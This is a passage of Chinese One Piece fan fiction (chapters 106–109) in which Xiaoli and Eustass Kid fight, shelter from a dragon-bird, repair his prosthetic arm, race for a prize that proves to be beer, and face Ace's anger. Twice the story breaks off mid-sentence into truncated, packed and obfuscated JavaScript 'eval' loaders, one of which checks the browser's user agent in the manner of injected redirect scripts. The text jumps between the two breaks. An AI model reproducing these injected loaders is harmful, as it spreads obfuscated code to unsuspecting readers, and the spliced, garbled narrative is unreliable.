一道比之前更加粗壮、凝实的橘红色火焰柱,如同出膛的炮弹,撕裂空气,带着灼热的高温和冲击力,狠狠轰向基德 “什么?!”基德猝不及防,来不及躲闪。 “轰——!!!!” 炽烈的火焰柱结结实实地轰在义肢上,发出可怕的滋滋声,爆炸的冲击波将周围的树木拦腰炸断,火光冲天而起,浓烟滚滚!基德被这股巨力推得连连后退,那条本就因为长时间战斗开始过载的机械义肢此刻温度急剧飙升,部分外装甲甚至开始微微发红、变形,传动关节处发出不祥的“嘎吱”声。 “有意思!太有意思了!再来!!” 基德不怒反喜,狂笑着,似乎完全不顾义肢的负荷,就要再次冲上。他猛地一甩义肢,吸附来更多金属碎片,凝聚成更厚重狰狞的臂铠,再次冲向小狸。 两人彻底打出了真火,再无任何保留。森林化作了他们的角斗场。利爪与金属碰撞的火花,火焰爆炸的轰鸣,树木倒塌的巨响,惊起林中栖息的飞鸟走兽,各种惊慌的鸣叫和奔逃声此起彼伏。 小狸气喘吁吁,额前的黑发被汗水和灰尘黏在脸上,手臂和小腿多了好几处淤青和擦伤。基德同样不好过,义肢因为反复高温炙烤和重击,运转似乎出现了些许滞涩,发出不协调的摩擦声,他的嘴角也溢出了一丝血迹。 战斗的白热化消耗着两人巨大的体力,精神也高度集中于对方身上。以至于都没有注意到,在他们头顶的高空,一个巨大的阴影正在盘旋、降低。那振翅的声音起初被战斗的轰鸣掩盖,但随着阴影越来越近,翅膀扇动空气产生的低沉呼啸终于变得无法忽视。 当一片巨大的阴影完全笼罩住他们所在的这片林间空地,光线骤然暗淡时,小狸和基德才不约而同地感到一股源自本能的、毛骨悚然的危机感! 两人几乎同时停手,猛地抬头望去 只见森林上空,一只体型大得超乎想象、如同小型山岳般的巨龙般的怪鸟,正展开足以投下百米阴影的双翼,悬浮在那里。它长着类似龙类的头颅和覆盖着暗红色鳞片的修长脖颈,喙部弯曲锋利如巨型镰刀,双眼燃烧着熔岩般的金红色光芒,正死死盯着下方这两个在它“领地”里大肆破坏、并且身上散发着令它极度愤怒的“蛋的气息”的小虫子。 小狸瞬间明白了。火山上那巨大的、带着温度的“蛋”,根本不是什么主办方准备的道具……那特么就是这只龙鸟正在孵化的蛋啊!!!他们被坑了! “愣着干什么!跑啊!!!” 小狸几乎是尖叫出声,再也顾不上和基德分胜负,转身就用尽剩下的力气,朝着记忆中终点的方向玩命狂奔!那鸟喙看起来能轻易凿穿山岩,被啄一下绝对变成肉泥! 基德也反应过来,怒骂一声,紧随小狸之后撒腿就跑。 两人在密林中狼狈逃窜,躲避着上方不断俯冲试探、带起飓风和折断树木的龙鸟。小狸凭借着娇小身材和对危险的敏锐直觉,在复杂地形中穿梭,基德则依靠蛮力撞开障碍,速度竟也不慢。 然而,祸不单行。小狸冲在前面,只顾着抬头看天上那越来越近的恐怖阴影,脚下却突然一空! “啊——!” 她只来得及发出一声短促的惊呼,整个人就失重下坠! 紧跟在她身后的基德心里刚闪过“蠢猫又耍什么花招”的念头,没等他思考,他就知道小狸去了哪里,因为下一秒,同样的失重感袭来 “操——!” 两人一前一后,结结实实地掉进了同一个隐藏在厚厚落叶下的、深不见底的垂直洞穴! “砰!咚!” 小狸摔在洞底松软的堆积物上,虽然被缓冲了一下,但还是摔得眼冒金星,手腕和脚踝传来阵阵刺痛。她龇牙咧嘴地爬起来,揉着手腕,还没来得及观察环境,就听到旁边“哐当”一声巨响和一声闷哼——基德也摔了下来,而且似乎被他那沉重的金属义肢垫在了身下,姿势颇为狼狈。 小狸下意识地就想开口嘲笑,但话到嘴边,却猛地捂住了自己的嘴。 因为,洞口上方,那巨大的阴影再次笼罩下来。龙鸟那颗狰狞的头颅凑到了洞口,琥珀色的竖瞳如同探照灯般向洞内扫视,喉咙里发出低沉而充满威胁的“咕噜”声,灼热的气息甚至喷进了洞里。 小狸和基德立刻屏住呼吸,紧紧贴在洞壁阴影处,一动不敢动,连眼睛都不敢眨一下,死死盯着洞口那双可怕的眼睛。 时间仿佛凝固了。 龙鸟在洞口徘徊了好一阵,似乎确认了这两个“小贼”掉进了这个它无法进入的狭小洞穴,终于发出一声不甘的、震耳欲聋的尖厉嘶鸣,巨大的翅膀用力一拍,卷起一阵狂风,身影才从洞口消失 基德无声地将义肢挪开,坐起身,同样抬头望向洞口,脸上凶恶的表情被一种罕见的凝重取代。他没有说话,也没有再试图攻击近在咫尺的小狸,只是静静地靠坐在坑壁,调整着有些紊乱的呼吸。 坑洞内陷入了死一般的寂静,只有两人压抑的呼吸声,以及洞外远处隐约传来的、龙鸟不甘的盘旋和鸣叫声。黑暗潮湿的泥土气息包围了他们,刚才还激烈无比的生死搏杀,此刻被另一种更原始、更巨大的危机所取代。在这狭窄的、意外的避难所里,刚才还欲置对方于死地的两人,竟形成了一种微妙而脆弱的休战状态。 他们都在等待,等待头顶那个恐怖的“监护人”放弃搜索,或者……等待命运的下一步安排 107.临时同盟 头顶上方,巨大的阴影时而掠过洞口,投下令人心悸的黑暗,时而传来沉重翅膀拍击空气的低沉呼啸,以及龙鸟那充满不甘和怒火的尖锐鸣叫。显然,那位丢失了蛋的母亲并没有轻易放弃,仍在附近区域蹲守。 地洞内光线昏暗,只有从洞口透下的些许天光,勉强能看清轮廓。小狸百无聊赖地缩在角落里,双手抱着膝盖,尾巴轻轻拍打着地面。她能清晰地感受到那股属于顶级掠食者的气息仍在附近徘徊,虽然又累又困,很想就这么闭眼睡一会儿,但理智告诉她这不现实,毕竟,和她一起被困在这个狭小空间的,还有个天大的麻烦。 出乎她意料的是,那个“天大的麻烦”自从龙鸟离开洞口后,就一直异常安静。安静到小狸几乎以为他是不是摔晕过去了。因为本能地不想招惹这个麻烦,她一直有意无意地回避着他所在的方向,只留给他一个警惕的后脑勺。 时间在沉默和等待中缓慢流逝。终于,无聊和好奇战胜了回避心理。小狸悄悄侧过脸,用眼角余光瞥向基德所在的位置。 只见基德正背靠着洞壁坐着,那只巨大的金属义肢横在他身前。他低垂着头,眉头紧锁,正用他仅存的右手和义肢上尚未完全失灵的手指部分,试图摆弄、修理那条显然在刚才激烈战斗中受损严重的左臂。 动作……相当笨拙。 他试图扳正一处因高温和冲击而扭曲变形的装甲板,但用力过猛,反而让裂缝扩大了;他想清理卡死的轴承,却用蛮力去撬,结果发出刺耳的摩擦声,进展微乎其微。 显然,长时间的无效操作和挫败感开始消磨他的耐心。基德的呼吸逐渐粗重,眉头越拧越紧,动作也越来越粗鲁、急躁,甚至狠狠一拳砸在旁边的洞壁上,震得泥土簌簌落下。 小狸看了好一会儿热闹,终于忍不住轻轻叹了口气。这声叹息在寂静的地洞里格外清晰。 基德动作一顿,猛地抬起头,凶恶的目光射向小狸,充满了被打扰的不悦和警告。 小狸摊了摊手,表示自己没有恶意,然后指了指他怀里那条被折腾得更加凄惨的义肢,语气里带着点无奈和一点点的……嫌弃 “你这样乱搞,它永远好不了。”她说得很直接。 基德没说话,只是眼神更凶了,仿佛在说“要你管”。 小狸也不介意,继续说道:“反正闲着也是闲着,也出不去。如果你不介意的话……”她指了指自己,又指了指义肢,“我倒是可以帮你看看。总比你把它彻底弄坏强。” 基德眯起眼睛,充满怀疑地上下打量着小狸:“你?还会这个?”语气里充满了不信任。 小狸反问道:“那你有别的更好的办法吗?等着它自己复原?” 基德沉默了,脸上阴晴不定。理智告诉他,小狸说得对,而且看她自信的样子或许真的懂点门道?但向这个刚刚还和自己打得你死我亡的小猫崽求助,又让他觉得有些拉不下脸。 僵持了几秒钟后,基德似乎终于做出了决定。他没说话,只是冷哼一声,用力将那条沉重的机械义肢从连接处卸了下来,然后“哐当”一声,扔到了小狸面前的空地上。他自己则把头扭到一边,摆出一副“随你便,但别想老子道谢”的别扭姿态。 小狸早就明白想从这个家伙嘴里听到“请”或“谢谢”比登天还难,也没在意。她凑近了些,就着洞口透下的微光,仔细检查起这只结构复杂的义肢。确实损坏严重,过热导致金属疲劳变形,几个关键的轴承几乎卡死,一些精密的齿轮也出现了错位。 她没再多话,从自己的小包里,掏出了一个小巧但功能齐全的工具包。灵巧的手指拿着合适的工具,小心翼翼地拆卸变形严重的外壳,清理卡住的碎屑,矫正变形的轴承,给干涩的齿轮点上润滑油…… 基德起初还带着警惕,但当看到小狸那副全神贯注、手法专业的模样慢慢放松了下来。他沉默着,目光却不由自主地追随着那双在复杂机械部件间跳跃的灵巧手指,看着那些困扰他许久的故障被她一点点解决。 气氛有些沉闷。被一个刚还在打生打死的对手这样盯着看,小狸觉得浑身不自在,尤其是基德那目光直白得毫无“盯着别人看很失礼”的自觉。她想了想,试图找点话题缓和气氛,顺便转移他的注意力。 “这么精密的内部构造,设计它的人一定很厉害,花了不少心思吧……不过,”她手下动作不停,语气带上了一丝无奈,“你也用得……太粗暴了。” 基德从鼻子里哼了一声,没有反驳她的“控诉”,反而难得地接了一句,语气里甚至藏着一丝不易察觉的怀念“主要结构是我自己的磁力驱动的。不过,确实有个家伙……看不过去我老是因为蛮力操作弄坏临时配件,就帮我加了这些乱七八糟的轴承、齿轮,说是能更省力、更耐用一点。” 他顿了顿,补充道,“那家伙……手艺还不错。” 小狸闻言,抬头看了他一眼,发现他扭开的侧脸上,凶恶的线条似乎柔和了那么一丝丝。 “哦?”小狸有些意外他会回答,手下动作不停,试探性地控制修好的义肢做了个简单的抓握动作,关节运转果然顺畅了许多。“那……你的手臂呢?”她犹豫了一下,还是问了出来,“是怎么弄的?” 基德低下头,目光落在自己左肩那明显的断口处,眼神骤然变得冰冷而充满戾气,他磨了磨后槽牙,从牙缝里挤出一个名字,简短而充满恨意: “香克斯。” 小狸修理的手猛地一顿,脑海里瞬间浮现出红发香克斯那爽朗不羁的笑容,以及他空荡荡的左袖。她愕然地抬头看向基德,下意识捂住了嘴,一个极其跳跃、甚至有点无厘头的联想脱口而出: “你们……都是红头发哎?香克斯自己没了一只手所以也砍别人的手?” 这话逻辑诡异,纯粹是小狸根本没过脑子的思维发散。 明明自己是那个被砍手的人,基德却像被戳中了笑点,竟然“噗”地一声哈哈大笑起来,甚至用力拍打着自己结实的大腿: “哈哈哈哈哈!没错!没错!你说得对!那混蛋肯定就是嫉妒!自己丢了一只手,就看不得别人有两只完好的手!哈哈!” “不过,香克斯……应该不是那种会无缘无故袭击别人的人。” 小狸顿了顿,看向基德,“果然,还是你做了什么事,惹到他了吧?” 基德冷笑一声,毫不掩饰自己的野心:“我要找到‘ONE PIECE’,成为海贼王!第一步,自然就是打败盘踞在新世界的‘四皇’!香克斯不过是其中之一。总有一天,我会找到他,报这一臂之仇!我一定会战胜他!” 他的声音在地洞里回荡,充满了不容置疑的决心和狂气。 小狸一边敷衍地应着“好,好……”,手里继续熟练地调整着最后一个齿轮。突然,她警觉地抬起头,蔚蓝的猫瞳直视基德,语气也变得严肃:“不过,我可事先声明!如果你敢对我家老爹出手,我绝对不会坐视不管的!” 基德把头扭开,避开了她的视线,没有接这个话茬,算是默认了某种无形的界限。至少目前,白胡子不在他首要的挑战名单上,或者说,他清楚现在不是讨论这个的时候。 “好了,这样应该差不多了。你试试吧,应该比刚才灵活一些,但有些内部的损伤需要专业工具和材料才能彻底修复,现在只能应急。” 她把沉重的义肢推回到基德面前。基德默默地接过,熟练地将它重新连接回左臂接口。一阵轻微的机械嗡鸣和齿轮咬合声后,他尝试着活动手指、转动手腕、弯曲手肘……动作果然比之前顺畅了许多,虽然还有些细微的滞涩感,但基本功能恢复了七八成。 “哦?”基德挑了挑眉,眼中闪过一丝真正的惊讶和赞赏,“还挺能干的嘛,小猫崽!” 小狸骄傲地摸了摸鼻子,也不谦虚:“刚好学过一点。不过也就只能做到这种程度了。” 她双手撑地,看着那条在昏暗光线下依旧泛着冷冽光泽的义肢,认真地提醒道,“要小心一点用哦。等出去之后,最好还是找个正经的船匠或者机械师好好检查修复一下,有些内部的伤可能肉眼看不出来。” 基德挥了挥恢复功能的左臂,发出一阵金属摩擦声,不以为意地说:“你以为它是怎么坏的?” 小狸立刻瞪圆了眼睛:“那还不是你先攻击我的!用那么大的石头砸我!” “是你先拿水浇我头的!”基德立刻反驳。 “那是意外!我都喊你小心了!”小狸气鼓鼓的。 “谁管你是不是意外!反正就是你挑衅在先!”基德毫不退让。 “谁挑衅你了!懒得和你说!”小狸觉得自己的智商都要被这个不讲理的家伙拉低了,干脆扭过头去,不再看他,用后脑勺表达“我不和笨蛋一般见识”的态度。 短暂的“和平”似乎又濒临破裂 基德看着她这副赌气的样子,倒是没再继续吵。他扶着洞壁站了起来,活动了一下四肢,抬头看了看洞口隐约透下的天光,又侧耳倾听了一下外面的动静。 “喂,”他开口,声音恢复了惯常的粗鲁,“别说我没喊你。歇够了吧?你不走,我可要走了。冠军和‘神之佳酿’,我就收下了!” 小狸耳朵动了动,立刻也站了起来,拍拍身上沾的泥土和草屑。她眼珠转了转,没有立刻冲出去,而是问了个关键问题:“等等,刺猬头,你要怎么办?那只大鸟可还没走远” 基德握了握恢复功能的金属拳头,发出“咔哒”的声响,脸上露出狂野的笑容:“当然是揍飞它!老子可没时间在这里跟它耗!” “……”小狸无语地看了他一眼。真是简单粗暴的好计划啊。 她沉吟了一下:“喂,刺猬头,这样吧。我们合作一次,怎么样?” 基德狐疑地看着她。 “你帮我拖住那只大鸟,”小狸伸出三根手指,“三分钟就好。剩下的,我来想办法搞定它。能做到吗?” 基德的眉头立刻皱了起来,像是受到了侮辱:“你是在小瞧老子吗?三分钟?三十分钟都行!” “那就说定了!”小狸不等他反悔,立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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龙鸟立刻察觉到了背上的异物,发出一声愤怒的尖鸣,开始剧烈地晃动身体,试图将小狸甩下去。小狸抓住一根羽毛,身体随着龙鸟的翻滚剧烈颠簸,头晕目眩。 她咬紧牙关,努力集中精神。蔚蓝的猫瞳深处,再次闪过奇异的光芒。这一次,她不再仅仅是“沟通”或“安抚”,而是尝试着将一种更强烈、更清晰的意念,如同尖锥一般,刺入龙鸟那被暴怒和失子之痛填满的混乱意识中。 安静!听我说! 近乎命令般的意念带着不容置疑的压迫感,强行打断了龙鸟疯狂的挣扎。 龙鸟庞大的身躯猛地一僵,琥珀色的竖瞳中出现了一瞬间的茫然。 小狸抓住这短暂的机会,立刻将更具体的信息传递过去——不是模糊的安抚,而是明确的指引: 你的孩子……蛋……被带走了……装在船上……往那个方向,现在去追……还能追上! 离开这里!回去!找回你的蛋! 她将之前从主办方工作人员闲聊中听来的、运送“道具”的船只离开的大致方向,化为一种方向感传递过去…… 简单,直接,只有关键信息。 龙鸟的竖瞳剧烈收缩,它似乎听懂了,或者说,理解了小狸意念中传递出的核心——蛋还活着,有线索,可以找回来。暴怒和绝望瞬间被一种急切的渴望取代。它不再理会地面上那个还在蹦跶的红毛虫子,硕大的头颅转向小狸指引的方向,喉咙里发出急促的、含义不明的“哒哒”磕碰声,似乎在确认,又似乎在询问。 小狸感觉到龙鸟情绪的转变,知道成功了。她松开手,在龙鸟下一次振翅抬升的瞬间,轻盈地向下一跃,落在下方一根粗壮的树枝上,然后几个起落,安全回到了地面。 她朝着在空中悬停、似乎还有些犹豫的龙鸟用力挥了挥手,用口型无声地说:“快去!” 龙鸟最后发出一声穿透云霄的长鸣,里面充满了复杂的情感,它巨大的翅膀全力一振,卷起狂暴的气流,庞大的身躯如同离弦之箭,朝着小狸指引的方向疾飞而去,很快消失在远方的天际。 小狸这才长长地舒了一口气,浮夸地用手背擦了擦额头并不存在的汗水,自言自语道:“呼……总算解决了!” 一直在地上利用磁力狼狈闪躲、看到龙鸟突然飞走还有些懵的基德,此时也停了下来,喘着粗气,脸上带着难以置信的表情,快步走到小狸面前,瞪着眼睛问:“喂!小猫崽!你刚才做了什么?那家伙怎么突然就飞走了?” 小狸看了他一眼,没有立刻回答。她的目光越过基德,投向了森林的另一端——那里,树木逐渐变得稀疏,隐约可以看见终点线的标志和外面攒动的人影! 几乎在意识到这一点的同时,小狸的脚尖猛地在地面一点! “嗖——!” 她像一道黑色的闪电,头也不回地朝着终点方向全速冲刺而去! 基德被她这突如其来的举动弄得一愣,随即反应过来,气得额头青筋直跳,怒吼道: “不是说好三分钟吗?!你这狡猾的家伙!别跑!!给我站住!!!” “傻子才不跑呢!”小狸清脆的声音顺着风飘回来,“冠军和‘神之佳酿’,我拿定啦!刺猬头你就在后面吃灰吧!” “混蛋——!!!”基德咆哮着,爆发出全部速度,如同一头发怒的红色公牛,在后面紧追不舍 比赛的最后时刻终于来了 108.该来的总会来的 两人一前一后,在森林中展开了最后的对决。距离终点线已经不远,茂密的林木开始变得稀疏,阳光大片大片地洒落下来。 基德眼看小狸娇小的身影如同游鱼般在林间缝隙中灵活穿梭,速度奇快,这样下去自己根本追不上。他眼中闪过一丝狠色,不再保留! “磁气·大魔牛!!!” 他狂吼一声,左臂高举,全力发动磁气果实能力!这一次,目标不仅仅是零散的金属,以他为中心,半径数十米范围内,所有遗落在森林中的金属物品全部被强大的磁力强行吸附、牵引过来,在他身后和前方形成一片铺天盖地、闪烁着寒光的金属风暴!这些金属并非随意飞舞,而是在磁力操控下,如同拥有生命般,朝着小狸前进的路线前方疯狂倾泻、堆叠、形成一道道临时而粗糙的金属网,强行制造混乱和阻碍,延缓小狸的速度 小狸猝不及防,前方道路瞬间被金属碎浪和尖锐的障碍封堵。她不得不急刹车,身形灵活地在金属碎片的缝隙间闪转腾挪,寻找突破的空隙。 眼看基德就要追上,前方又被金属障碍重重阻隔,她眼中厉色一闪,不再试图完全避开那些障碍。 就是现在!她看准一处金属网相对稀疏的空隙,娇小的身体高高跃起,划过一道优美的弧线,险之又险地从金属障碍网的上方空隙中穿过 落地时她甚至没有减速,反而借着下坠的势能,将全部力量灌注于双腿,爆发出难以置信的极限速度,如同一道贴地飞驰的黑色闪电,朝着已经近在咫尺的森林边缘、那片豁然开朗的空地和远处清晰的终点彩带,发起不顾一切的冲刺! 基德眼见封锁被破,也红了眼,不再操控那些散落的金属,转而将所有力量灌注于双腿,爆发出近乎野兽般的冲刺速度,紧紧咬在小狸身后不到两个身位的距离! 两人此刻都已是强弩之末,体力接近极限,但眼中燃烧的斗志却比任何时候都要旺盛!他们嘶吼着,如同一红一黑两道颜色迥异的流星,从幽暗的森林边缘悍然冲出,撞进了午后明媚的阳光和山呼海啸般的围观人潮视线之中! 终点线就在前方不足五十米!彩带飘扬,人声鼎沸! 小狸咬紧牙关,将最后一丝力气压榨出来,速度快得在身后拉出了残影! 基德同样咆哮着,双腿肌肉贲张到了极限,每一步踏下都在地上留下深深的脚印,速度竟然还在一点点提升! 三十米!二十米!十米! 两人的身影几乎完全重叠,难分先后! 就在最后五米,眼看就要同时撞线的瞬间,基德的眼中,凶光与决绝之色爆闪! 他做出了一个让所有人都目瞪口呆的举动——他猛地将刚刚修好、还能勉强活动的巨大金属左臂义肢,从肩膀上强行卸了下来!然后,用尽全身最后的力气,如同投掷标枪一般,将那条沉重的义肢,朝着终点线后面的标志物,狠狠地投掷了过去! “给我——赢啊!!!!” “哐当——!!!!” 义肢划过一道短暂的弧线,赶在小狸身体触线前的最后一刹那,率先砸在了终点线后的颁奖台基座上,发出一声惊天动地的巨响 按照比赛规则,任何参赛者身体或其携带物率先触线或触及终点后有效区域,即算完成比赛。 基德在扔出义肢的瞬间,也因巨大的反作用力和体力彻底透支,身体失去平衡,狠狠地向前摔了出去,在草地上狼狈地翻滚了好几圈,扬起一片尘土。 但他即便摔得灰头土脸,口中却爆发出肆意而狂野的、充满胜利者得意的大笑: “哈哈……哈哈哈!看到了吗?!小猫崽!我才是最后的赢家!!!冠军是我尤斯塔斯·基德的!!!回家哭鼻子去吧!!!” 小狸在他扔出义肢的瞬间,就已经意识到发生了什么。她的脚步在距离终点线仅一步之遥的地方,缓缓停了下来。 没有愤怒,没有不甘的冲刺。她只是站在那里,微微喘着气,看着那条砸在颁奖台上的金属手臂,又看了看远处趴在地上还在狂笑的基德。 然后,她像是彻底脱力一般,一屁股坐在了草地上,累得连尾巴都懒得动一下。 她抬起头,目光越过喧闹的人群,落在了颁奖台上那个被放置在水晶展柜中、包装得异常华丽精美的酒壶上——那就是传说中的“神之佳酿”。 有点沮丧吗?当然有一点。就差那么一点点,真的只是毫厘之差,给老爹带的礼物,没了…… 但更多的,却是一种奇特的释然感和激烈竞争后骤然放松带来的、空荡荡的疲惫感。这一天的经历实在太过“丰富”了——冲浪、爬山、抢蛋、修义肢、哄龙鸟……和那个红毛刺猬头打架。 “呼……”她长长地吐出一口气,抬手抹了抹脸上的汗水和灰尘,嘴角却不由自主地,轻轻向上弯了弯。 虽然输了,但……好像也不算太坏?至少,玩得还挺……尽兴的? 就在她看着“神之佳酿”发呆,心里那点小小的遗憾和巨大的疲惫交织时,主办方的工作人员已经确认了结果,那个奸商主持人正用激动到破音的声音,宣布着冠军的名字,并将那精致的酒壶隆重地捧到了刚刚勉强爬起来的基德面前。 基德用仅存的右手,有些粗暴地一把抓过那个华丽的酒壶,看也不看,在所有人好奇、羡慕、期待的注视下,直接拧开瓶盖,仰头就灌了一大口 然后,他的动作猛地顿住了。脸上的狂笑瞬间凝固,变成了某种极其古怪的、混合着难以置信、荒谬、以及被愚弄后愤怒的表情。 他缓缓地、缓缓地低下头,看着手中那流光溢彩的酒壶,又抬起头,目光茫然地扫过周围欢呼的人群,最后,落在了不远处同样好奇望着他的小狸身上。 小狸被他这奇怪的反应弄得一愣。 只见基德脸上的表情变了又变,最终定格在一个极度扭曲的表情上。他又举起酒壶,喉结动了动,喝了一大口,然后,用一种非常平静,努力压抑着惊涛骇浪的语气,低声骂了一句: “……操。” 随即,在所有人不明所以的目光中,基德迈开脚步,带着一身尘土和擦伤,手里拎着那个酒壶,一步步地走到了还坐在地上的小狸面前。 他居高临下地看着她,沉默了几秒,然后,忽然把手里的酒壶,朝着小狸递了过去。 “……味道还行。”他干巴巴地说,眼神有些飘忽,似乎不太习惯做这种事,“给你了。” “诶?”小狸完全愣住了,睁大了蔚蓝的眼睛,看看酒壶,又看看基德那张虽然依旧凶恶但此刻表情异常复杂的脸,没反应过来。 基德不耐烦地晃了晃酒壶:“拿着啊!我说给你了就给你了!要我请你么?!” 小狸下意识地接过了那个沉甸甸的、冰凉华丽的酒壶。她迟疑地看了看基德,又看了看酒壶,在基德“快点!”的催促目光下,也仰头,小心翼翼地喝了一小口。 液体滑入口腔的瞬间,小狸的眼睛也猛地瞪圆了! 这味道……这清澈中带着淡淡麦芽气、略带气泡的微苦口感…… “咦?这不是……”她难以置信地抬起头,看向基德。她在莫比迪克号上没少偷喝萨奇的啤酒,这味道……简直一模一样! 顶多是牌子不同,但绝对是再普通不过的啤酒! 基德已经从她震惊的表情中得到了确认,脸上扯出了一个比哭还难看的、充满了自嘲和荒谬感的笑,他点了点头,声音里带着一种“老子居然为这玩意拼死拼活一整天”的浓浓无奈: “啊,没错,被耍了。什么‘神之佳酿’……根本就是他妈的啤酒!” 小狸捧着酒壶,看看里面晃动的金色液体,再看看眼前同样一脸无语的基德,又想起自己今天经历的种种惊险、劳累、还有头顶那个至今隐隐作痛的小包…… “噗……” 她没忍住,第一个笑出了声。那笑声起初是压抑的、从鼻子里漏出来的气音,随即就像破了堤的河水,汹涌而出。 那笑声像是打开了某个紧绷了一整天的开关。巨大的荒谬感、透支后的疲惫感、以及这一整天积累下来的所有紧张、刺激、愤怒、不甘、无奈……全都化为一种无法抑制的、想要疯狂大笑的冲动。 基德看着她笑,先是愣了一下,琥珀色的瞳孔里映出女孩笑得肩膀抖动、几乎要握不住酒壶的样子。随即,他脸上那种扭曲的、混杂着戾气和无语的表情也慢慢化开,像是被她的笑声传染,或是被这共同的、巨大的荒诞现实所征服。最后,他也扯开嘴角,露出了一个同样充满了荒谬和释然意味的、算不上好看甚至有点吓人,但在此刻足够真实、毫无阴霾的大笑。他笑得胸腔震动,带动了身上的伤口,让他一边笑一边抽了口气,却停不下来。 “哈哈哈……哈哈哈哈!!!”小狸笑得眼泪都快出来了,捧着肚子,手指紧紧攥着酒壶的细颈,指节泛白。 “哈……真他妈是……操!哈哈哈哈!”基德也摇着头,笑得肩膀耸动,那只钢铁义肢似乎都跟着发出轻微的嗡鸣。他很少这样笑,不是狂傲的、睥睨的,而是这种纯粹的、解脱的大笑。 两人,一个站着,一个坐着,一个刚刚赢得冠军却发现奖品是个笑话,一个拼尽全力却功亏一篑但同样被这笑话逗乐,就这么在终点线旁,在无数围观者困惑不解的目光中,对着那壶“神之佳酿”,毫无形象地、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小狸因为酒精而迟钝的大脑正在处理这句话,总觉得有点似曾相识,几乎是同时,什么不太妙的感觉从心底升起,她还没反应过来时,一股炽热到几乎要灼伤人皮肤的热浪,毫无预兆地轰然爆发,人群被猛地推开,惊呼声四起。 艾斯和白团的大家其实一直关注着小狸的动向。对于基德那个疯狂的红毛小子对小狸百般纠缠、甚至最后那场激烈打斗,早已让不少人非常不爽,蠢蠢欲动,低声商量着等比赛结束后非得找个机会狠狠“招呼”一下这个狂妄的新人,让他知道对白胡子海贼团的小公主该有什么样的态度。直到比赛结束,看到小狸还是输了,众人还有些遗憾,没能亲眼看到小家伙知道自己被“神之佳酿”骗了时的表情。艾斯看着小狸脱力地坐在地上,冲他们这边虚弱又俏皮地笑了笑,心早就软了,也对基德的观感降到了冰点。他站起身,对身边的伙伴们说:“我去迎迎她,估计累坏了。”那谬尔也憋着笑,望着远处说:“小狸看起来……玩得还挺开心的。” 然而,当艾斯轻松地挤开议论纷纷的人群,脸上原本带着的温柔笑意,在清晰无比地听到基德那句“你要不要来做我的女人” 的瞬间,那笑意像被极寒的冰瞬间封存,然后碎裂,化为实质般的、足以燃尽一切的暴怒火焰,在他眼底疯狂跳跃! “尤斯塔斯·基德——!!!你说什么?!!” 火焰轰然爆发,艾斯几乎是一步就跨到两人面前,他直接挡在了小狸和基德之间,以一种绝对保护者的、甚至有些仓皇的姿态,将还有点懵懵的、反应不过来的小狸猛地拉到自己身后。他的眼神如同燃尽一切的怒涛,死死盯住基德,那目光锐利得几乎要在基德身上剜出洞来,里面翻涌着被侵犯领地的狂暴、难以置信的愤怒,以及一丝连他自己都没立刻察觉的、深切的危机感。 基德先是一愣,随即看到艾斯护犊子的姿态和小狸下意识依赖地抓住艾斯衣角的样子,立刻明白了两人的关系。但他岂是会退缩的人?当下也冷哼一声,撑着膝盖站起身,高大的身躯带来压迫感,那只钢铁义肢咔哒一声脆响,磁力隐隐发动,周围的金属碎屑开始微微震颤。他露出一个狂野不羁、充满了挑衅意味的笑:“‘火拳’艾斯?哼,来得正好!”他刻意放慢语速,每个字都咬得清晰无比,像是在重复,又像是在宣战,“我说的每个字都是认真的,怎么,你没听清?我可以再说一次,我说——我很欣赏她,让她做我的女人!” 小狸脑子一片迷迷茫茫,酒精和突如其来的冲突让她晕头转向:“等、等等!啊?怎么了?不是,怎么突然就……变成这样了?”她看看前面艾斯绷紧如弓弦的、散发着骇人热量的后背,又看看对面基德那毫不退让、满是战意的脸,试图理清这荒谬的转变,“这是在干嘛啊?!” 109.醉鬼的修罗场 围观群众瞬间彻底沸腾了!录像电话虫被高高举起,镜头贪婪地对准这意外的发展。 “打起来!打起来!极恶世代超新星对白胡子二队长!为爱对决!!”“劲爆新闻啊!!!” 喧嚣声几乎要掀翻天空。 空气仿佛在高温下扭曲,火焰的热浪和磁力的无形力场率先碰撞,发出令人牙酸的声响。紧接着,两个男人之间那几乎凝成实质的、充满了压迫感的霸王色霸气轰然对撞。无形的气浪以他们为中心猛地炸开,掀起狂暴的涟漪,大量原本还在兴奋呐喊的围观群众,连哼都没哼一声,就像被无形的重锤击中,两眼翻白,噼里啪啦地倒下一大片。场地骤然安静了许多,只剩下霸气的余波在空气中嘶鸣。 小狸的头都大了,太阳穴突突地跳。仅存的理智和不想事态彻底失控的念头,让她在两人中间拼命踮起脚尖挥舞手臂,试图隔开那几乎要溅射出来的压迫力:“喂!刺猬头你有病吧!说什么疯话! 不是刚才还打得你死我活嘛!谁要做你的女人啊!”她一边喊,一边用力去拉艾斯紧紧握拳、青筋毕露的手臂,“艾斯!艾斯!走啦走啦,我们回去!他就是个神经病!不要理他就好了!我、我最喜欢艾斯了!” 醉意让她的告白直白而热烈,带着焦急的哭腔。 艾斯被她那句带着依赖和全盘信任的“最喜欢艾斯了”哄得软了几分,暴怒的火焰稍微缓和了一些,但看着基德那依旧挑衅、甚至更加兴奋的笑容磨了磨牙,胸膛剧烈起伏。他反手紧紧握住小狸拽他手臂的手“……我知道。”他声音低哑,压抑着怒火,眼神却像钉子一样钉在基德身上,“我们走。” 小狸见艾斯愿意跟她离开,顿时松了一口气……但这口气,只松了一半。因为她刚拉着艾斯转过身,勉强走出两三步,身边那刚才还被她拉着的男人,就如同被压缩到极致的弹簧,骤然释放! “砰——!!!” 一声沉闷到极致的□□撞击声,伴随着骨头错位的咔嚓轻响,猛地炸开! 艾斯的身影快得只剩下一道橘红色的残影,在基德或许因为小狸的离开而稍有松懈、或许根本没料到艾斯会在“离开”后突然折返的瞬间,裹挟着炽白高温火焰的拳头,已经狠狠的、结结实实的轰在了基德脸上 “噗——!” 